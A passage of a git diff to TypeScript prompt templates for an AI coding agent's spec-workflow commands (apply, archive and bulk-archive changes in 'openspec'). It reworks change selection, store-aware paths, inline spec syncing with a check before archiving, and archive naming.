unclear → ask for clarification - - Implementation reveals a design issue → suggest updating artifacts - - Error or blocker encountered → report and wait for guidance - - User interrupts - -7. **On completion or pause, show status** - - Display: - - Tasks completed this session - - Overall progress: "N/M tasks complete" - - If all done: suggest archive - - If paused: explain why and wait for guidance - -**Output During Implementation** - -\`\`\` -## Implementing: <change-name> (schema: <schema-name>) - -Working on task 3/7: <task description> -[...implementation happening...] -✓ Task complete - -Working on task 4/7: <task description> -[...implementation happening...] -✓ Task complete -\`\`\` - -**Output On Completion** - -\`\`\` -## Implementation Complete - -**Change:** <change-name> -**Schema:** <schema-name> -**Progress:** 7/7 tasks complete ✓ - -### Completed This Session -- [x] Task 1 -- [x] Task 2 -... - -All tasks complete! You can archive this change with \`/opsx:archive\`. -\`\`\` - -**Output On Pause (Issue Encountered)** - -\`\`\` -## Implementation Paused - -**Change:** <change-name> -**Schema:** <schema-name> -**Progress:** 4/7 tasks complete - -### Issue Encountered -<description of the issue> - -**Options:** -1. <option 1> -2. <option 2> -3. Other approach - -What would you like to do? -\`\`\` - -**Guardrails** -- Keep going through tasks until done or blocked -- Always read context files before starting (from the apply instructions output) -- If task is ambiguous, pause and ask before implementing -- If implementation reveals issues, pause and suggest artifact updates -- Keep code changes minimal and scoped to each task -- Update task checkbox immediately after completing each task -- Pause on errors, blockers, or unclear requirements - don't guess -- Use contextFiles from CLI output, don't assume specific file names - -**Fluid Workflow Integration** - -This skill supports the "actions on a change" model: - -- **Can be invoked anytime**: Before all artifacts are done (if tasks exist), after partial implementation, interleaved with other actions -- **Allows artifact updates**: If implementation reveals design issues, suggest updating artifacts - not phase-locked, work fluidly` + content: getApplyInstructions(), }; } diff --git a/src/core/templates/workflows/archive-change.ts b/src/core/templates/workflows/archive-change.ts index 1c37ffde0e..2dae74d436 100644 --- a/src/core/templates/workflows/archive-change.ts +++ b/src/core/templates/workflows/archive-change.ts @@ -5,6 +5,7 @@ * templates file into workflow-focused modules. */ import type { SkillTemplate, CommandTemplate } from '../types.js'; +import { STORE_SELECTION_GUIDANCE } from './store-selection.js'; export function getArchiveChangeSkillTemplate(): SkillTemplate { return { @@ -12,18 +13,52 @@ export function getArchiveChangeSkillTemplate(): SkillTemplate { description: 'Archive a completed change in the experimental workflow. Use when the user wants to finalize and archive a change after implementation is complete.', instructions: `Archive a completed change in the experimental workflow. +${STORE_SELECTION_GUIDANCE} + +\`<capability-path>\` is the spec directory relative to \`specs/\` (for example, \`user-auth\` or \`identity/user-auth\`). Preserve the full path from each delta spec when resolving its main spec. + **Input**: Optionally specify a change name. If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes. **Steps** -1. **If no change name provided, prompt for selection** +1. **Select the change** - Run \`openspec list --json\` to get available changes. Use the **AskUserQuestion tool** to let the user select. + If a name is provided, use it. Otherwise: + - Infer from conversation context if the user mentioned a change + - Auto-select if only one active change exists + - If ambiguous, run \`openspec list --json\` to get available changes and ask the user to select one - Show only active changes (not already archived). + When prompting, show only active changes (not already archived). Include the schema used for each change if available. - **IMPORTANT**: Do NOT guess or auto-select a change. Always let the user choose. + Always announce: "Using change: <name>" and how to override (e.g., \`/opsx:archive <other>\`). + + **Load current archive inputs before the existing archive checks:** + + After resolving the selected change and planning root, run: + \`\`\`bash + openspec instructions archive --change "<name>" --json + \`\`\` + Keep the same selected-root flags on this command. This lookup is advisory and + optional: it only supplies extra prompt inputs, so it must never block archiving. + If it exits non-zero or returns invalid JSON — for example on an older CLI that + does not support this command yet — continue the archive workflow with no + context and no operation guidance. Do not report an error and do not stop. + + A successful response may omit both optional fields. Treat \`context\` as a + required prompt-level input: read and consider it, and apply relevant project + facts, conventions, and constraints. Treat \`operationGuidance\` as optional + additive advice: read and consider every entry, and follow entries that are + applicable and compatible with the built-in archive workflow. + + Keep both fields separate from built-in steps, explicit user choices, resolved + paths, CLI checks, and command contracts. If context conflicts with one of those + controlling inputs, report the conflict and preserve the controlling value. If + guidance is inapplicable or conflicts with a controlling input, do not follow it + and explain why. Do not infer replacement paths, skipped prompts, or flags from + either field, and do not copy their text verbatim into specs, change artifacts, + or archive summaries unless the user separately asks for it. These are + prompt-level behavior contracts, not enforceable checks. 2. **Check artifact completion status** @@ -31,11 +66,12 @@ export function getArchiveChangeSkillTemplate(): SkillTemplate { Parse the JSON to understand: - \`schemaName\`: The workflow being used - - \`artifacts\`: List of artifacts with their status (\`done\` or other) + - \`planningHome\`, \`changeRoot\`, \`artifactPaths\`, and \`actionContext\`: path and scope context + - \`artifacts\`: List of artifacts with their status (\`done\`, \`skipped\`, or other) - **If any artifacts are not \`done\`:** + **If any artifacts are neither \`done\` nor \`skipped\`** (skipped artifacts satisfy the requirement - the change declares skip_specs): - Display warning listing incomplete artifacts - - Use **AskUserQuestion tool** to confirm user wants to proceed + - Ask the user to confirm they want to proceed - Proceed if user confirms 3. **Check task completion status** @@ -46,17 +82,20 @@ export function getArchiveChangeSkillTemplate(): SkillTemplate { **If incomplete tasks found:** - Display warning showing count of incomplete tasks - - Use **AskUserQuestion tool** to confirm user wants to proceed + - Ask the user to confirm they want to proceed - Proceed if user confirms **If no tasks file exists:** Proceed without task-related warning. 4. **Assess delta spec sync state** - Check for delta specs at \`openspec/changes/<name>/specs/\`. If none exist, proceed without sync prompt. + Use \`artifactPaths.specs.existingOutputPaths\` from status JSON as the only + delta-spec source. If the \`specs\` entry is missing or + \`existingOutputPaths\` is empty, proceed without a sync prompt and do not infer + delta specs from other artifacts. **If delta specs exist:** - - Compare each delta spec with its corresponding main spec at \`openspec/specs/<capability>/spec.md\` + - Compare each delta spec with its corresponding main spec at \`<planningHome.root>/openspec/specs/<capability-path>/spec.md\` (use the store-aware \`planningHome.root\` from step 2, not a hardcoded repo path) - Determine what changes would be applied (adds, modifications, removals, renames) - Show a combined summary before prompting @@ -64,23 +103,46 @@ export function getArchiveChangeSkillTemplate(): SkillTemplate { - If changes needed: "Sync now (recommended)", "Archive without syncing" - If already synced: "Archive now", "Sync anyway", "Cancel" - If user chooses sync, use Task tool (subagent_type: "general-purpose", prompt: "Use Skill tool to invoke openspec-sync-specs for change '<name>'. Delta spec analysis: <include the analyzed delta spec summary>"). Proceed to archive regardless of choice. + Route on the answer: + - "Cancel" — stop, do not archive + - "Archive without syncing" or "Archive now" — proceed to archive + - "Sync now" or "Sync anyway" — sync, then verify (below) + - Anything else — ask again rather than archiving + + Before a selected sync writes any main spec, run + \`openspec instructions specs --change "<name>" --json\` once with the same + selected-root flags. Require a zero exit status and valid artifact-instruction + JSON. If the lookup fails or returns invalid JSON, report the error and stop + before writing any main spec or moving the change. A valid response with omitted + \`rules\` is the no-rules case. Apply returned \`rules\` only to the content and + form of main specs produced by this merge; do not use them as archive guidance, + change CLI behavior, or copy the rule text into any output file. + + Then run the \`openspec-sync-specs\` workflow inline (agent-driven intelligent merge) for change '<name>', passing the delta spec analysis and the fetched specs-rule snapshot from above, and wait for it to finish. The inline sync must reuse that snapshot without fetching \`specs\` instructions again. Do not delegate it to a background task — step 5 would move \`changeRoot\` out from under a sync that is still reading it, leaving the change archived and the main specs never updated. If your agent can only run it by delegation, delegate synchronously and wait for the result. + + Then re-run the comparison from the top of this step against every capability that has a delta spec in \`artifactPaths.specs.existingOutputPaths\` — not only the ones the sync reports it touched. A successful sync leaves nothing left to apply, so each capability must now read as already synced: + - ADDED requirements present + - MODIFIED requirements carrying the scenario and description changes named in the delta, with their other scenarios intact + - REMOVED requirements gone — and where this sync retired a capability (removed its last requirement, leaving \`## Requirements\` empty), its main spec deleted rather than left empty; a spec the sync deliberately kept and reported is also a match + - RENAMED requirements present under the new name and absent under the old one + + If the sync failed, or any capability does not match, report what differs and stop — do not archive. Nothing has moved and \`changeRoot\` is intact, so the user can fix the mismatch or re-run the sync and start the archive again. 5. **Perform the archive** - Create the archive directory if it doesn't exist: + Create an \`archive\` directory under \`planningHome.changesDir\` if it doesn't exist: \`\`\`bash - mkdir -p openspec/changes/archive + mkdir -p "<planningHome.changesDir>/archive" \`\`\` - Generate target name using current date: \`YYYY-MM-DD-<change-name>\` + Generate the target name: use the change name as-is when it already starts with a \`YYYY-MM-DD-\` prefix; otherwise prepend the current date as \`YYYY-MM-DD-<change-name>\`. Never stack a second date (same rule as \`openspec archive\`). **Check if target already exists:** - If yes: Fail with error, suggest renaming existing archive or using different date - - If no: Move the change directory to archive + - If no: Move \`changeRoot\` to the archive directory \`\`\`bash - mv openspec/changes/<name> openspec/changes/archive/YYYY-MM-DD-<name> + mv "<changeRoot>" "<planningHome.changesDir>/archive/<target-name>" \`\`\` 6. **Display summary** @@ -94,25 +156,31 @@ export function getArchiveChangeSkillTemplate(): SkillTemplate { **Output On Success** -\`\`\` +\`\`\`markdown ## Archive Complete **Change:** <change-name> **Schema:** <schema-name> -**Archived to:** openspec/changes/archive/YYYY-MM-DD-<name>/ -**Specs:** ✓ Synced to main specs (or "No delta specs" or "Sync skipped") +**Archived to:** the archive path derived from \`planningHome.changesDir\`/<target-name>/ +**Specs:** <"✓ Synced to main specs" only if the step 4 verification passed; otherwise "No delta specs" or "Sync skipped"> -All artifacts complete. All tasks complete. +<"All artifacts complete. All tasks complete." — or, if archived with warnings, list them instead (e.g. "Archived with 2 incomplete tasks")> \`\`\` **Guardrails** -- Always prompt for change selection if not provided +- Announce the selected change; prompt for selection when it is ambiguous - Use artifact graph (openspec status --json) for completion checking - Don't block archive on warnings - just inform and confirm - Preserve .openspec.yaml when moving to archive (it moves with the directory) - Show clear summary of what happened -- If sync is requested, use openspec-sync-specs approach (agent-driven) -- If delta specs exist, always run the sync assessment and show the combined summary before prompting`, +- If sync is requested, run the \`openspec-sync-specs\` workflow inline (agent-driven) +- Never archive while a spec sync is still in flight — run the sync inline and verify the main specs before moving \`changeRoot\` +- If delta specs exist, always run the sync assessment and show the combined summary before prompting +- Apply relevant runtime context and report conflicts; operation guidance remains advisory +- Consider every guidance entry and explain any inapplicable or conflicting advice +- Existing CLI checks, resolved paths, prompts, and command contracts are unchanged +- Artifact rules constrain only the specs being written and are never operation guidance +- Never copy runtime context, operation guidance, or artifact-rule text verbatim into output files`, license: 'MIT', compatibility: 'Requires openspec CLI.', metadata: { author: 'openspec', version: '1.0' }, @@ -127,18 +195,52 @@ export function getOpsxArchiveCommandTemplate(): CommandTemplate { tags: ['workflow', 'archive', 'experimental'], content: `Archive a completed change in the experimental workflow. +${STORE_SELECTION_GUIDANCE} + +\`<capability-path>\` is the spec directory relative to \`specs/\` (for example, \`user-auth\` or \`identity/user-auth\`). Preserve the full path from each delta spec when resolving its main spec. + **Input**: Optionally specify a change name after \`/opsx:archive\` (e.g., \`/opsx:archive add-auth\`). If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes. **Steps** -1. **If no change name provided, prompt for selection** +1. **Select the change** - Run \`openspec list --json\` to get available changes. Use the **AskUserQuestion tool** to let the user select. + If a name is provided, use it. Otherwise: + - Infer from conversation context if the user mentioned a change + - Auto-select if only one active change exists + - If ambiguous, run \`openspec list --json\` to get available changes and ask the user to select one - Show only active changes (not already archived). + When prompting, show only active changes (not already archived). Include the schema used for each change if available. - **IMPORTANT**: Do NOT guess or auto-select a change. Always let the user choose. + Always announce: "Using change: <name>" and how to override (e.g., \`/opsx:archive <other>\`). + + **Load current archive inputs before the existing archive checks:** + + After resolving the selected change and planning root, run: + \`\`\`bash + openspec instructions archive --change "<name>" --json + \`\`\` + Keep the same selected-root flags on this command. This lookup is advisory and + optional: it only supplies extra prompt inputs, so it must never block archiving. + If it exits non-zero or returns invalid JSON — for example on an older CLI that + does not support this command yet — continue the archive workflow with no + context and no operation guidance. Do not report an error and do not stop. + + A successful response may omit both optional fields. Treat \`context\` as a + required prompt-level input: read and consider it, and apply relevant project + facts, conventions, and constraints. Treat \`operationGuidance\` as optional + additive advice: read and consider every entry, and follow entries that are + applicable and compatible with the built-in archive workflow. + + Keep both fields separate from built-in steps, explicit user choices, resolved + paths, CLI checks, and command contracts. If context conflicts with one of those + controlling inputs, report the conflict and preserve the controlling value. If + guidance is inapplicable or conflicts with a controlling input, do not follow it + and explain why. Do not infer replacement paths, skipped prompts, or flags from + either field, and do not copy their text verbatim into specs, change artifacts, + or archive summaries unless the user separately asks for it. These are + prompt-level behavior contracts, not enforceable checks. 2. **Check artifact completion status** @@ -146,9 +248,10 @@ export function getOpsxArchiveCommandTemplate(): CommandTemplate { Parse the JSON to understand: - \`schemaName\`: The workflow being used - - \`artifacts\`: List of artifacts with their status (\`done\` or other) + - \`planningHome\`, \`changeRoot\`, \`artifactPaths\`, and \`actionContext\`: path and scope context + - \`artifacts\`: List of artifacts with their status (\`done\`, \`skipped\`, or other) - **If any artifacts are not \`done\`:** + **If any artifacts are neither \`done\` nor \`skipped\`** (skipped artifacts satisfy the requirement - the change declares skip_specs): - Display warning listing incomplete artifacts - Prompt user for confirmation to continue - Proceed if user confirms @@ -168,10 +271,13 @@ export function getOpsxArchiveCommandTemplate(): CommandTemplate { 4. **Assess delta spec sync state** - Check for delta specs at \`openspec/changes/<name>/specs/\`. If none exist, proceed without sync prompt. + Use \`artifactPaths.specs.existingOutputPaths\` from status JSON as the only + delta-spec source. If the \`specs\` entry is missing or + \`existingOutputPaths\` is empty, proceed without a sync prompt and do not infer + delta specs from other artifacts. **If delta specs exist:** - - Compare each delta spec with its corresponding main spec at \`openspec/specs/<capability>/spec.md\` + - Compare each delta spec with its corresponding main spec at \`<planningHome.root>/openspec/specs/<capability-path>/spec.md\` (use the store-aware \`planningHome.root\` from step 2, not a hardcoded repo path) - Determine what changes would be applied (adds, modifications, removals, renames) - Show a combined summary before prompting @@ -179,23 +285,46 @@ export function getOpsxArchiveCommandTemplate(): CommandTemplate { - If changes needed: "Sync now (recommended)", "Archive without syncing" - If already synced: "Archive now", "Sync anyway", "Cancel" - If user chooses sync, use Task tool (subagent_type: "general-purpose", prompt: "Use Skill tool to invoke openspec-sync-specs for change '<name>'. Delta spec analysis: <include the analyzed delta spec summary>"). Proceed to archive regardless of choice. + Route on the answer: + - "Cancel" — stop, do not archive + - "Archive without syncing" or "Archive now" — proceed to archive + - "Sync now" or "Sync anyway" — sync, then verify (below) + - Anything else — ask again rather than archiving + + Before a selected sync writes any main spec, run + \`openspec instructions specs --change "<name>" --json\` once with the same + selected-root flags. Require a zero exit status and valid artifact-instruction + JSON. If the lookup fails or returns invalid JSON, report the error and stop + before writing any main spec or moving the change. A valid response with omitted + \`rules\` is the no-rules case. Apply returned \`rules\` only to the content and + form of main specs produced by this merge; do not use them as archive guidance, + change CLI behavior, or copy the rule text into any output file. + + Then run the \`/opsx:sync\` workflow inline (agent-driven intelligent merge) for change '<name>', passing the delta spec analysis and the fetched specs-rule snapshot from above, and wait for it to finish. The inline sync must reuse that snapshot without fetching \`specs\` instructions again. Do not delegate it to a background task — step 5 would move \`changeRoot\` out from under a sync that is still reading it, leaving the change archived and the main specs never updated. If your agent can only run it by delegation, delegate synchronously and wait for the result. + + Then re-run the comparison from the top of this step against every capability that has a delta spec in \`artifactPaths.specs.existingOutputPaths\` — not only the ones the sync reports it touched. A successful sync leaves nothing left to apply, so each capability must now read as already synced: + - ADDED requirements present + - MODIFIED requirements carrying the scenario and description changes named in the delta, with their other scenarios intact + - REMOVED requirements gone — and where this sync retired a capability (removed its last requirement, leaving \`## Requirements\` empty), its main spec deleted rather than left empty; a spec the sync deliberately kept and reported is also a match + - RENAMED requirements present under the new name and absent under the old one + + If the sync failed, or any capability does not match, report what differs and stop — do not archive. Nothing has moved and \`changeRoot\` is intact, so the user can fix the mismatch or re-run the sync and start the archive again. 5. **Perform the archive** - Create the archive directory if it doesn't exist: + Create an \`archive\` directory under \`planningHome.changesDir\` if it doesn't exist: \`\`\`bash - mkdir -p openspec/changes/archive + mkdir -p "<planningHome.changesDir>/archive" \`\`\` - Generate target name using current date: \`YYYY-MM-DD-<change-name>\` + Generate the target name: use the change name as-is when it already starts with a \`YYYY-MM-DD-\` prefix; otherwise prepend the current date as \`YYYY-MM-DD-<change-name>\`. Never stack a second date (same rule as \`openspec archive\`). **Check if target already exists:** - If yes: Fail with error, suggest renaming existing archive or using different date - - If no: Move the change directory to archive + - If no: Move \`changeRoot\` to the archive directory \`\`\`bash - mv openspec/changes/<name> openspec/changes/archive/YYYY-MM-DD-<name> + mv "<changeRoot>" "<planningHome.changesDir>/archive/<target-name>" \`\`\` 6. **Display summary** @@ -209,12 +338,12 @@ export function getOpsxArchiveCommandTemplate(): CommandTemplate { **Output On Success** -\`\`\` +\`\`\`markdown ## Archive Complete **Change:** <change-name> **Schema:** <schema-name> -**Archived to:** openspec/changes/archive/YYYY-MM-DD-<name>/ +**Archived to:** the archive path derived from \`planningHome.changesDir\`/<target-name>/ **Specs:** ✓ Synced to main specs All artifacts complete. All tasks complete. @@ -222,12 +351,12 @@ All artifacts complete. All tasks complete. **Output On Success (No Delta Specs)** -\`\`\` +\`\`\`markdown ## Archive Complete **Change:** <change-name> **Schema:** <schema-name> -**Archived to:** openspec/changes/archive/YYYY-MM-DD-<name>/ +**Archived to:** the archive path derived from \`planningHome.changesDir\`/<target-name>/ **Specs:** No delta specs All artifacts complete. All tasks complete. @@ -235,12 +364,12 @@ All artifacts complete. All tasks complete. **Output On Success With Warnings** -\`\`\` +\`\`\`markdown ## Archive Complete (with warnings) **Change:** <change-name> **Schema:** <schema-name> -**Archived to:** openspec/changes/archive/YYYY-MM-DD-<name>/ +**Archived to:** the archive path derived from \`planningHome.changesDir\`/<target-name>/ **Specs:** Sync skipped (user chose to skip) **Warnings:** @@ -253,11 +382,11 @@ Review the archive if this was not intentional. **Output On Error (Archive Exists)** -\`\`\` +\`\`\`markdown ## Archive Failed **Change:** <change-name> -**Target:** openspec/changes/archive/YYYY-MM-DD-<name>/ +**Target:** the archive path derived from \`planningHome.changesDir\`/<target-name>/ Target archive directory already exists. @@ -268,12 +397,18 @@ Target archive directory already exists. \`\`\` **Guardrails** -- Always prompt for change selection if not provided +- Announce the selected change; prompt for selection when it is ambiguous - Use artifact graph (openspec status --json) for completion checking - Don't block archive on warnings - just inform and confirm - Preserve .openspec.yaml when moving to archive (it moves with the directory) - Show clear summary of what happened -- If sync is requested, use the Skill tool to invoke \`openspec-sync-specs\` (agent-driven) -- If delta specs exist, always run the sync assessment and show the combined summary before prompting` +- If sync is requested, run the \`/opsx:sync\` workflow inline (agent-driven) +- Never archive while a spec sync is still in flight — run the sync inline and verify the main specs before moving \`changeRoot\` +- If delta specs exist, always run the sync assessment and show the combined summary before prompting +- Apply relevant runtime context and report conflicts; operation guidance remains advisory +- Consider every guidance entry and explain any inapplicable or conflicting advice +- Existing CLI checks, resolved paths, prompts, and command contracts are unchanged +- Artifact rules constrain only the specs being written and are never operation guidance +- Never copy runtime context, operation guidance, or artifact-rule text verbatim into output files` }; } diff --git a/src/core/templates/workflows/bulk-archive-change.ts b/src/core/templates/workflows/bulk-archive-change.ts index ed6d144529..cacede2543 100644 --- a/src/core/templates/workflows/bulk-archive-change.ts +++ b/src/core/templates/workflows/bulk-archive-change.ts @@ -5,6 +5,7 @@ * templates file into workflow-focused modules. */ import type { SkillTemplate, CommandTemplate } from '../types.js'; +import { STORE_SELECTION_GUIDANCE } from './store-selection.js'; export function getBulkArchiveChangeSkillTemplate(): SkillTemplate { return { @@ -14,6 +15,10 @@ export function getBulkArchiveChangeSkillTemplate(): SkillTemplate { This skill allows you to batch-archive changes, handling spec conflicts intelligently by checking the codebase to determine what's actually implemented. +${STORE_SELECTION_GUIDANCE} + +\`<capability-path>\` is the spec directory relative to \`specs/\` (for example, \`user-auth\` or \`identity/user-auth\`). Preserve the full path from each delta spec when resolving its main spec. + **Input**: None required (prompts for selection) **Steps** @@ -26,39 +31,68 @@ This skill allows you to batch-archive changes, handling spec conflicts intellig 2. **Prompt for change selection** - Use **AskUserQuestion tool** with multi-select to let user choose changes: + Ask the user to choose changes (multi-select): - Show each change with its schema - Include an option for "All changes" - Allow any number of selections (1+ works, 2+ is the typical use case) **IMPORTANT**: Do NOT auto-select. Always let the user choose. + **Load current archive inputs once for the selected root before batch validation:** + + Choose one selected change from this root and run + \`openspec instructions archive --change "<selected-change>" --json\` with the + same selected-root flags. This lookup is advisory and optional: it only supplies + extra prompt inputs, so it must never block the batch. If it fails or returns + invalid JSON — for example on an older CLI that does not support this command + yet — continue the batch with no context and no operation guidance. Do not + report an error and do not stop. + + A valid response may omit \`context\` and \`operationGuidance\`. Treat + \`context\` as a required prompt-level input across the batch: read and consider + it, and apply relevant project facts, conventions, and constraints. Treat + \`operationGuidance\` as optional additive advice: read and consider every + entry, and follow entries that are applicable and compatible with the built-in + batch workflow. + + Keep both fields separate from conflict analysis, explicit user choices, + resolved paths, CLI checks, and command contracts. If context conflicts with one + of those controlling inputs, report the conflict and preserve the controlling + value. If guidance is inapplicable or conflicts with a controlling input, do not + follow it and explain why. Do not infer skipped prompts, replacement paths, or + flags from either field, and do not copy their text verbatim into specs, changes, + or summaries. These are prompt-level behavior contracts, not enforceable checks. + 3. **Batch validation - gather status for all selected changes** For each selected change, collect: a. **Artifact status** - Run \`openspec status --change "<name>" --json\` - - Parse \`schemaName\` and \`artifacts\` list + - Parse \`schemaName\`, \`artifacts\`, \`planningHome\`, \`changeRoot\`, \`artifactPaths\`, and \`actionContext\` - Note which artifacts are \`done\` vs other states - b. **Task completion** - Read \`openspec/changes/<name>/tasks.md\` + b. **Task completion** - Read \`artifactPaths.tasks.existingOutputPaths\` from status JSON - Count \`- [ ]\` (incomplete) vs \`- [x]\` (complete) - If no tasks file exists, note as "No tasks" - c. **Delta specs** - Check \`openspec/changes/<name>/specs/\` directory + c. **Delta specs** - Check \`artifactPaths.specs.existingOutputPaths\` from status JSON - List which capability specs exist - For each, extract requirement names (lines matching \`### Requirement: <name>\`) - + - Treat this list as the only delta-spec source. If the \`specs\` entry is + missing or the list is empty, perform no spec sync or specs-instruction + lookup for that change; do not infer deltas from unrelated artifacts. + - Evaluate this independently for every change, including mixed-schema + batches where some schemas have no \`specs\` artifact. 4. **Detect spec conflicts** - Build a map of \`capability -> [changes that touch it]\`: + Build a map keyed by \`<capability-path>\`, the exact path relative to \`specs/\`: - \`\`\` - auth -> [change-a, change-b] <- CONFLICT (2+ changes) - api -> [change-c] <- OK (only 1 change) + \`\`\`text + identity/user-auth -> [change-a, change-b] <- CONFLICT (2+ changes) + billing/user-auth -> [change-c] <- OK (different full path) \`\`\` - A conflict exists when 2+ selected changes have delta specs for the same capability. + A conflict exists when 2+ selected changes have delta specs for the exact same \`<capability-path>\`. 5. **Resolve conflicts agentically** @@ -76,38 +110,39 @@ This skill allows you to batch-archive changes, handling spec conflicts intellig - If neither implemented -> skip spec sync, warn user d. **Record resolution** for each conflict: - - Which change's specs to apply - - In what order (if both) + - An inclusion or exclusion decision for every delta spec, keyed by change and \`<capability-path>\` + - Which included delta specs to apply and in what order + - Which delta specs to exclude from sync because their implementation is missing - Rationale (what was found in codebase) 6. **Show consolidated status table** Display a table summarizing all changes: - \`\`\` + \`\`\`markdown | Change | Artifacts | Tasks | Specs | Conflicts | Status | |---------------------|-----------|-------|---------|-----------|--------| | schema-management | Done | 5/5 | 2 delta | None | Ready | | project-config | Done | 3/3 | 1 delta | None | Ready | - | add-oauth | Done | 4/4 | 1 delta | auth (!) | Ready* | + | add-oauth | Done | 4/4 | 1 delta | identity/user-auth (!) | Ready* | | add-verify-skill | 1 left | 2/5 | None | None | Warn | \`\`\` For conflicts, show the resolution: - \`\`\` + \`\`\`text * Conflict resolution: - - auth spec: Will apply add-oauth then add-jwt (both implemented, chronological order) + - identity/user-auth spec: Will apply add-oauth then add-jwt (both implemented, chronological order) \`\`\` For incomplete changes, show warnings: - \`\`\` + \`\`\`text Warnings: - add-verify-skill: 1 incomplete artifact, 3 incomplete tasks \`\`\` 7. **Confirm batch operation** - Use **AskUserQuestion tool** with a single confirmation: + Ask the user a single confirmation question: - "Archive N changes?" with options based on status - Options might include: @@ -117,31 +152,73 @@ This skill allows you to batch-archive changes, handling spec conflicts intellig If there are incomplete changes, make clear they'll be archived with warnings. + Route on the answer by intent, not by exact label — you wrote these labels, + so match what the user picked rather than the wording above: + - "Cancel" — stop, do not archive. Report that nothing was archived and skip the remaining steps. + - The archive-everything option — proceed with every selected change + - The ready-only option — proceed with only the changes the step 6 table marks \`Ready\` or \`Ready*\`, and record the rest as Skipped in step 8d. If a \`Ready*\` change's conflict partner is skipped, re-derive that conflict's resolution using only the changes being archived. + - Anything else — ask again rather than archiving + + Before step 8 writes the first main spec or moves any change, fetch every + required specs-rule snapshot for the confirmed batch. For each change that will + sync concrete \`artifactPaths.specs.existingOutputPaths\`, run + \`openspec instructions specs --change "<name>" --json\` exactly once with the + same selected-root flags. Obtain all snapshots before the first write or move. + If any lookup exits non-zero or returns invalid artifact-instruction JSON, + identify the affected change, report the error, and stop the whole batch before + any main-spec write or change move. Do not treat lookup failure as omitted + rules. A valid response without \`rules\` is the no-rules case. + 8. **Execute archive for each confirmed change** + Before processing, carry the recorded decisions from step 5 (after any step 7 re-derivation) into two per-delta sets: + - \`includedDeltas\`: all non-conflicting delta specs from confirmed changes plus conflict deltas selected for sync + - \`excludedDeltas\`: conflict deltas from confirmed changes excluded because their implementation is missing + - A single change can have both included and excluded delta specs. Keep the decision per delta; do not collapse it into a per-change sync flag. + Process changes in the determined order (respecting conflict resolution): - a. **Sync specs** if delta specs exist: - - Use the openspec-sync-specs approach (agent-driven intelligent merge) - - For conflicts, apply in resolved order - - Track if sync was done + a. **Sync included delta specs**: + - Run the \`openspec-sync-specs\` workflow inline (agent-driven intelligent merge) only for changes with entries in \`includedDeltas\`, passing only the included delta paths and explicitly instructing it to ignore that change's \`excludedDeltas\`. Wait for it to finish. + - For conflicts, apply in resolved order. + - Pass that change's fetched specs-rule snapshot into inline sync; inline + sync must reuse it without fetching instructions again + - Apply artifact rules only to main specs produced by that change. They do + not change conflict resolution, archive behavior, or CLI contracts, and + their text is not copied into an output file + - Do not delegate to a background task — step 8c would move \`changeRoot\` out from under a sync that is still reading it. + - If a change has no included delta specs, do not run the sync workflow for it. + + b. **Verify included delta specs before moving changeRoot**: + - Re-run the comparison only for delta specs in \`includedDeltas\` against main spec at \`<planningHome.root>/openspec/specs/<capability-path>/spec.md\` (use the store-aware \`planningHome.root\` from step 3 status JSON, not a hardcoded repo path). + - Verify that main specs are updated: + - ADDED requirements present + - MODIFIED requirements carrying scenario and description changes named in the delta, with their other scenarios intact + - REMOVED requirements gone — and where this sync retired a capability (removed its last requirement, leaving \`## Requirements\` empty), its main spec deleted rather than left empty; a spec the sync deliberately kept and reported is also a match + - RENAMED requirements present under the new name and absent under the old one + - Do not verify delta specs in \`excludedDeltas\`; they are intentionally left unsynced. + - If sync failed or any capability does not match verification, report what differs and fail/skip moving that change's \`changeRoot\` — do not archive that change. \`changeRoot\` remains intact. + + c. **Perform the archive**: + + Target name: use the change name as-is when it already starts with a \`YYYY-MM-DD-\` prefix; otherwise prepend the current date as \`YYYY-MM-DD-<name>\` (same rule as \`openspec archive\`). - b. **Perform the archive**: \`\`\`bash - mkdir -p openspec/changes/archive - mv openspec/changes/<name> openspec/changes/archive/YYYY-MM-DD-<name> + mkdir -p "<planningHome.changesDir>/archive" + mv "<changeRoot>" "<planningHome.changesDir>/archive/<target-name>" \`\`\` - c. **Track outcome** for each change: + d. **Track outcome** for each change: - Success: archived successfully - - Failed: error during archive (record error) + - Failed: error during archive or spec verification (record error) - Skipped: user chose not to archive (if applicable) + - Sync skipped: for every delta in \`excludedDeltas\`, report \`sync skipped\` with the change, \`<capability-path>\`, and recorded reason. This is distinct from skipping the archive. 9. **Display summary** Show final results: - \`\`\` + \`\`\`markdown ## Bulk Archive Complete Archived 3 changes: @@ -154,11 +231,12 @@ This skill allows you to batch-archive changes, handling spec conflicts intellig Spec sync summary: - 4 delta specs synced to main specs - - 1 conflict resolved (auth: applied both in chronological order) + - 1 delta spec sync skipped (add-jwt, identity/user-auth: implementation not found) + - 1 conflict resolved (identity/user-auth: synced add-oauth, skipped add-jwt) \`\`\` If any failures: - \`\`\` + \`\`\`text Failed 1 change: - some-change: Archive directory already exists \`\`\` @@ -166,8 +244,8 @@ This skill allows you to batch-archive changes, handling spec conflicts intellig **Conflict Resolution Examples** Example 1: Only one implemented -\`\`\` -Conflict: specs/auth/spec.md touched by [add-oauth, add-jwt] +\`\`\`text +Conflict: <planningHome.root>/openspec/specs/auth/spec.md touched by [add-oauth, add-jwt] Checking add-oauth: - Delta adds "OAuth Provider Integration" requirement @@ -181,8 +259,8 @@ Resolution: Only add-oauth is implemented. Will sync add-oauth specs only. \`\`\` Example 2: Both implemented -\`\`\` -Conflict: specs/api/spec.md touched by [add-rest-api, add-graphql] +\`\`\`text +Conflict: <planningHome.root>/openspec/specs/api/spec.md touched by [add-rest-api, add-graphql] Checking add-rest-api (created 2026-01-10): - Delta adds "REST Endpoints" requirement @@ -198,12 +276,12 @@ then add-graphql specs (chronological order, newer takes precedence). **Output On Success** -\`\`\` +\`\`\`markdown ## Bulk Archive Complete Archived N changes: -- <change-1> -> archive/YYYY-MM-DD-<change-1>/ -- <change-2> -> archive/YYYY-MM-DD-<change-2>/ +- <change-1> -> archive/<target-name-1>/ +- <change-2> -> archive/<target-name-2>/ Spec sync summary: - N delta specs synced to main specs @@ -212,11 +290,11 @@ Spec sync summary: **Output On Partial Success** -\`\`\` +\`\`\`markdown ## Bulk Archive Complete (partial) Archived N changes: -- <change-1> -> archive/YYYY-MM-DD-<change-1>/ +- <change-1> -> archive/<target-name-1>/ Skipped M changes: - <change-2> (user chose not to archive incomplete) @@ -227,7 +305,7 @@ Failed K changes: **Output When No Changes** -\`\`\` 